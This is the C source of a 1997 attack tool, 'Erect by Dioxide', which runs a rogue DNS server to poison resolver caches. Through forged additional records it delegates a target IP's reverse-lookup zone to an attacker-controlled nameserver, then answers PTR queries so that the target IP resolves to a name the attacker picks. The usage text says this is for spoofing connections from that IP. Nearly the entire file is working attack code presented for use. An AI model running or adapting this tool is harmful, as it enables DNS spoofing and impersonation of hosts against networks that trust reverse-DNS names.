/* #dioxide 1997 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <strings.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define VERSION		"Erect by Dioxide '97"

#define MAXBUFSIZE              64*1024
#define DC_A            1
#define DC_NS           2
#define DC_CNAME        5
#define DC_SOA          6
#define DC_WKS          11
#define DC_PTR          12
#define DC_HINFO        13
#define DC_MINFO        14
#define DC_MX           15
#define DC_TXT          16

typedef struct {
  unsigned short id;

  unsigned char  rd:1;           /* recursion desired */
  unsigned char  tc:1;           /* truncated message */
  unsigned char  aa:1;           /* authoritive answer */
  unsigned char  opcode:4;       /* purpose of message */
  unsigned char  qr:1;           /* response flag */

  unsigned char  rcode:4;        /* response code */
  unsigned char  unused:2;       /* unused bits */
  unsigned char  pr:1;           /* primary server required (non standard) */
  unsigned char  ra:1;           /* recursion available */

  unsigned short qdcount;
  unsigned short ancount;
  unsigned short nscount;
  unsigned short arcount;
} dnsheaderrec;

typedef struct {
  unsigned short labellen;
  char label[256];
  unsigned short type;
  unsigned short class;
  unsigned long ttl;
  unsigned short buflen;
  char buf[256];
} dnsrrrec;

typedef struct {
  dnsheaderrec h;

  dnsrrrec qd[20];
  dnsrrrec an[20];
  dnsrrrec ns[20];
  dnsrrrec ar[20];
} dnsrec;

char *dnssprintflabel(char *s, char *buf, char *p);
char *dnsaddlabel(char *p, char *label);
void dnstxt2rr(dnsrrrec *rr, char *b);
void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...);
char *dnsaddbuf(char *p, void *buf, short len);
int dnsmakerawpacket(dnsrec *dns, char *buf);
char *ip_to_arpa(char *ip);
char *arparize(char *ip);
char *get_token(char **src, char *token_sep);

char *dnssprintflabel(char *s, char *buf, char *p)
{
  unsigned short i,len;
  char *b=NULL;

  len=(unsigned short)*(p++);
  while (len) {
    while (len >= 0xC0) {
      if (!b)
        b=p+1;
      p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
      len=(unsigned short)*(p++);
    }

    for (i=0;i<len;i++)
      *(s++)=*(p++);

    *(s++)='.';

    len=(unsigned short)*(p++);
  }

  *(s++)=0;
  if (b)
    return(b);

  return(p);
}

char *dnsaddlabel(char *p, char *label)
{
  char *p1;

  while ((*label) && (label)) {
    if ((*label == '.') && (!*(label+1)))
      break;

    p1=strchr(label,'.');

    if (!p1)
      p1=strchr(label,0);

    *(p++)=p1-label;
    memcpy(p,label,p1-label);
    p+=p1-label;

    label=p1;
    if (*p1)
      label++;
  }
  *(p++)=0;

  return(p);
}

#define DEFAULTTTL 60*10

void dnstxt2rr(dnsrrrec *rr, char *b)
{
  char *tok[20], *p;
  unsigned short numt=0, i;
  static char *buf=NULL;

  if (!buf) {
    if ((buf=malloc(1024)) == NULL) {
      perror("malloc");
      exit(-1);
    }
  }

  strcpy(buf,b);
  p=strtok(buf," \t");
  do {
    tok[numt++]=p;
  } while (p=strtok(NULL," \t"));

  p=dnsaddlabel(rr->label,tok[0]);
  rr->labellen=p-rr->label;

  i=1;

  if (isdigit(*p))
    rr->ttl=htonl(atol(tok[i++]));
   else
    rr->ttl=htonl(DEFAULTTTL);

  if (strcmp(tok[i],"IN") == 0)
    i++;

  rr->class=htons(1);

  if (strcmp(tok[i],"A") == 0) {
    i++;
    rr->type=htons(DC_A);
    if (i < numt) {
      inet_aton(tok[i],rr->buf);
      rr->buflen=4;
    } else
      rr->buflen=0;
    return;
  }

  if (strcmp(tok[i],"CNAME") == 0) {
    i++;
    rr->type=htons(DC_CNAME);
    if (i < numt) {
      p=dnsaddlabel(rr->buf,tok[i]);
      rr->buflen=p-rr->buf;
    } else
      rr->buflen=0;
    return;
  }

  if (strcmp(tok[i],"NS") == 0) {
    i++;
    rr->type=htons(DC_NS);
    if (i < numt) {
      p=dnsaddlabel(rr->buf,tok[i]);
      rr->buflen=p-rr->buf;
    } else
      rr->buflen=0;
    return;
  }

  if (strcmp(tok[i],"PTR") == 0) {
    i++;
    rr->type=htons(DC_PTR);
    if (i < numt) {
      p=dnsaddlabel(rr->buf,tok[i]);
      rr->buflen=p-rr->buf;
    } else
      rr->buflen=0;
    return;
  }

  if (strcmp(tok[i],"MX") == 0) {
    i++;
    rr->type=htons(DC_MX);
    if (i < numt) {
      p=rr->buf;
      *((unsigned short *)p)=htons(atoi(tok[i++])); p+=2;
      p=dnsaddlabel(p,tok[i]);
      rr->buflen=p-rr->buf;
    } else
      rr->buflen=0;
    return;
  }
}

void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...)
{
  int i;
  va_list va;

  dns->h.qdcount=htons(qdcount);
  dns->h.ancount=htons(ancount);
  dns->h.nscount=htons(nscount);
  dns->h.arcount=htons(arcount);
  dns->h.rcode=0;

  va_start(va, arcount);

  for (i=0;i<qdcount;i++)
    dnstxt2rr(&dns->qd[i],va_arg(va, char *));

  for (i=0;i<ancount;i++)
    dnstxt2rr(&dns->an[i],va_arg(va, char *));

  for (i=0;i<nscount;i++)
    dnstxt2rr(&dns->ns[i],va_arg(va, char *));

  for (i=0;i<arcount;i++)
    dnstxt2rr(&dns->ar[i],va_arg(va, char *));


  va_end(va);
}

char *dnsaddbuf(char *p, void *buf, short len)
{
  memcpy(p,buf,len);
  return(p+len);
}

int dnsmakerawpacket(dnsrec *dns, char *buf)
{
  char *p;
  int i;
  unsigned short len;

  memcpy(buf,&dns->h,sizeof(dnsheaderrec));

  p=buf+sizeof(dnsheaderrec);

  /********** Query ***********/
  for (i=0;i<ntohs(dns->h.qdcount);i++) {
    p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen);
    p=dnsaddbuf(p,&dns->qd[i].type,2);
    p=dnsaddbuf(p,&dns->qd[i].class,2);
  }

  /********** Answer ***********/
  for (i=0;i<ntohs(dns->h.ancount);i++) {
    p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen);
    p=dnsaddbuf(p,&dns->an[i].type,2);
    p=dnsaddbuf(p,&dns->an[i].class,2);
    p=dnsaddbuf(p,&dns->an[i].ttl,4);
    len=htons(dns->an[i].buflen);
    p=dnsaddbuf(p,&len,2);
    p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen);
  }

  /********** Nameservers ************/
  for (i=0;i<ntohs(dns->h.nscount);i++) {
    p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen);
    p=dnsaddbuf(p,&dns->ns[i].type,2);
    p=dnsaddbuf(p,&dns->ns[i].class,2);
    p=dnsaddbuf(p,&dns->ns[i].ttl,4);
    len=htons(dns->ns[i].buflen);
    p=dnsaddbuf(p,&len,2);
    p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen);
  }

  /********** Additional ************/
  for (i=0;i<ntohs(dns->h.arcount);i++) {
    p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen);
    p=dnsaddbuf(p,&dns->ar[i].type,2);
    p=dnsaddbuf(p,&dns->ar[i].class,2);
    p=dnsaddbuf(p,&dns->ar[i].ttl,4);
    len=htons(dns->ar[i].buflen);
    p=dnsaddbuf(p,&len,2);
    p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen);
  }

  return(p-buf);
}


char *get_token(src, token_sep)
char **src;
char *token_sep;
{
	char    *tok;
	if (!(src && *src && **src))
		return NULL;
	while(**src && strchr(token_sep, **src))
		(*src)++;
	if(**src)
		tok = *src;
	else
		return NULL;
	*src = strpbrk(*src, token_sep);
	if (*src)
	{
		**src = '\0';
		(*src)++;
		while(**src && strchr(token_sep, **src))
			(*src)++;
	}
	else
		*src = "";
	return tok;
}

char *ip_to_arpa(char *ip)
{
	char *arpablock, *bit_a, *bit_b, *bit_c;
	char *oomf;

	arpablock = NULL;
	arpablock = (char *)malloc(64);
	oomf = (char *)malloc(64);

	strcpy(oomf, ip);

	bit_a = get_token(&oomf, ".");
	bit_b = get_token(&oomf, ".");
	bit_c = get_token(&oomf, ".");
	
	sprintf(arpablock, "%s.%s.%s.in-addr.arpa", bit_c, bit_b, bit_a);

	return arpablock;

}
char *arparize(char *ip)
{
	char *arpa, *bit_a, *bit_b, *bit_c, *bit_d;
	char *oomf;

	arpa = NULL;
	arpa = (char *)malloc(64);
	oomf = (char *)malloc(64);

	strcpy(oomf, ip);

	bit_a = get_token(&oomf, ".");
	bit_b = get_token(&oomf, ".");
	bit_c = get_token(&oomf, ".");
	bit_d = oomf;
	
	sprintf(arpa, "%s.%s.%s.%s.in-addr.arpa", bit_d, bit_c, bit_b, bit_a);

	return arpa;

}


void main(int argc, char *argv[])
{
  int sock, fromlen, numread, len, query;
  struct sockaddr_in sa, from, to;
  char *buf, *sendbuf;
  char *domainnamebuf;
  dnsheaderrec *dns;
  char *p;
  dnsrec dnsh;
  char *addname, *fakens, *fakensip, *targetip, *spoofname, *targetblock;
  char *kludgeaddname, *kludgetargetblock;
  char *cache_line_1, *cache_line_2_1, *cache_line_2_2, *cache_line_3, *cache_line_4;
  char *ptr_line_1, *ptr_line_2, *klarpatargetip, *arpatargetip;

  if (argc < 6)
  {
	printf("usage: %s <lookupname> <fakenshost> <fakensip> <targetip> <spoofname>\n", argv[0]);
	printf("  lookupname : EG cacher.dioxide.com, used to initiate false caching\n");
	printf("  fakenshost : EG ns1.dioxide.com, server name to answer fake PTR's\n");
	printf("  fakensip   : EG 205.164.89.1, IP of server to answer fake PTR's\n");
	printf("  targetip   : EG 200.3.4.10, IP of machine you want to spoof from\n");
	printf("  spoofname  : EG bollox.org, name you want targetip to resolve as\n");
	exit(-1);
  }
  addname = argv[1];
  fakens = argv[2];
  fakensip = argv[3];
  targetip = argv[4];
  spoofname = argv[5];
  targetblock = (char *)malloc(64);
  targetblock = ip_to_arpa(targetip);
  kludgetargetblock = (char *)malloc(64);
  strcpy(kludgetargetblock, targetblock);
  strcat(kludgetargetblock, ".");
  kludgeaddname = (char *)malloc(64);
  strcpy(kludgeaddname, addname);
  strcat(kludgeaddname, ".");
  arpatargetip = (char *)malloc(256);
  arpatargetip = arparize(targetip);
  klarpatargetip = (char *)malloc(64);
  strcpy(klarpatargetip, arpatargetip);
  strcat(klarpatargetip, ".");

  cache_line_1 = (char *)malloc(256);
  cache_line_2_1 = (char *)malloc(256);
  cache_line_2_2 = (char *)malloc(256);
  cache_line_3 = (char *)malloc(256);
  cache_line_4 = (char *)malloc(256);
  ptr_line_1 = (char *)malloc(256);
  ptr_line_2 = (char *)malloc(256);
  sprintf(cache_line_1, "%s IN A", addname);
  sprintf(cache_line_2_1, "%s 5 IN A %s", addname, fakensip);
  sprintf(cache_line_2_2, "%s IN A %s", spoofname, targetip);
  sprintf(cache_line_3, "%s IN NS %s", targetblock, fakens);
  sprintf(cache_line_4, "%s IN A %s", fakens, fakensip);
 
  sprintf(ptr_line_1, "%s IN PTR", arpatargetip);
  sprintf(ptr_line_2, "%s IN PTR %s", arpatargetip, spoofname);
 
  printf("%s now running!\n", VERSION);
  printf("  lookupname : %s\n", addname);
  printf("  fakenshost : %s\n", fakens);
  printf("  fakensip   : %s\n", fakensip);
  printf("  targetip   : %s\n", targetip);
  printf("  spoofname  : %s\n\n", spoofname);
  printf("  TARGETARPA : %s\n", arpatargetip);
  printf("Waiting for connect...\n");


  if ((buf = malloc(MAXBUFSIZE)) == NULL) {
    perror("malloc");
    exit(-1);
  }

  if ((sendbuf = malloc(MAXBUFSIZE)) == NULL) {
    perror("malloc");
    exit(-1);
  }

  if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL) {
    perror("malloc");
    exit(-1);
  }

  if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
    perror("socket");
    exit(-1);
  }

  sa.sin_family = AF_INET;
/*  sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */
  sa.sin_addr.s_addr = INADDR_ANY;
  sa.sin_port = htons(53);
  
  if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
    perror("bind");
    exit(-1);
  }

  setvbuf(stdout,NULL,_IONBF,0);

  while (1) {
    fromlen=sizeof(from);
    if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from, &fromlen)) < 0) {
      perror("recvfrom");
      continue;
    }

    /* Kludge to stop that damn router */
    /*if (from.sin_addr.s_addr == inet_addr("206.126.32.10"))
      continue;*/

    dns=(dnsheaderrec *)buf;

    if (dns->qr)
      continue;

    p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]);
    query=ntohs(*(unsigned short *)p);
    printf("Packet from %s : %d : %s (%d)\n",inet_ntoa(from.sin_addr),ntohs(from.sin_port),domainnamebuf,query);

	if (strcasecmp(domainnamebuf,kludgeaddname) == 0) {
      		dnsbuildpacket(&dnsh,1,2,1,1,
			cache_line_1,
			cache_line_2_1,
			cache_line_2_2,
			cache_line_3,
			cache_line_4);

    } else if (strcasecmp(domainnamebuf,klarpatargetip) == 0) {
         dnsbuildpacket(&dnsh,1,1,0,0,
		ptr_line_1,
		ptr_line_2);
	    } else {
	      /* Error */
	      dnsh.h.rcode=5;
	      strcat(domainnamebuf," IN A");
	      dnsbuildpacket(&dnsh,1,0,0,0,
		domainnamebuf);
	    }
    dnsh.qd[0].type=htons(query);

    dnsh.h.id=((dnsheaderrec *)buf)->id;
    dnsh.h.qr=1;
    dnsh.h.aa=1;
    
    len=dnsmakerawpacket(&dnsh,sendbuf);

    to.sin_family=AF_INET;
    to.sin_addr.s_addr=from.sin_addr.s_addr;
    to.sin_port=from.sin_port;

    if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0) {
      perror("sendto");
      continue;
    }
  }
}
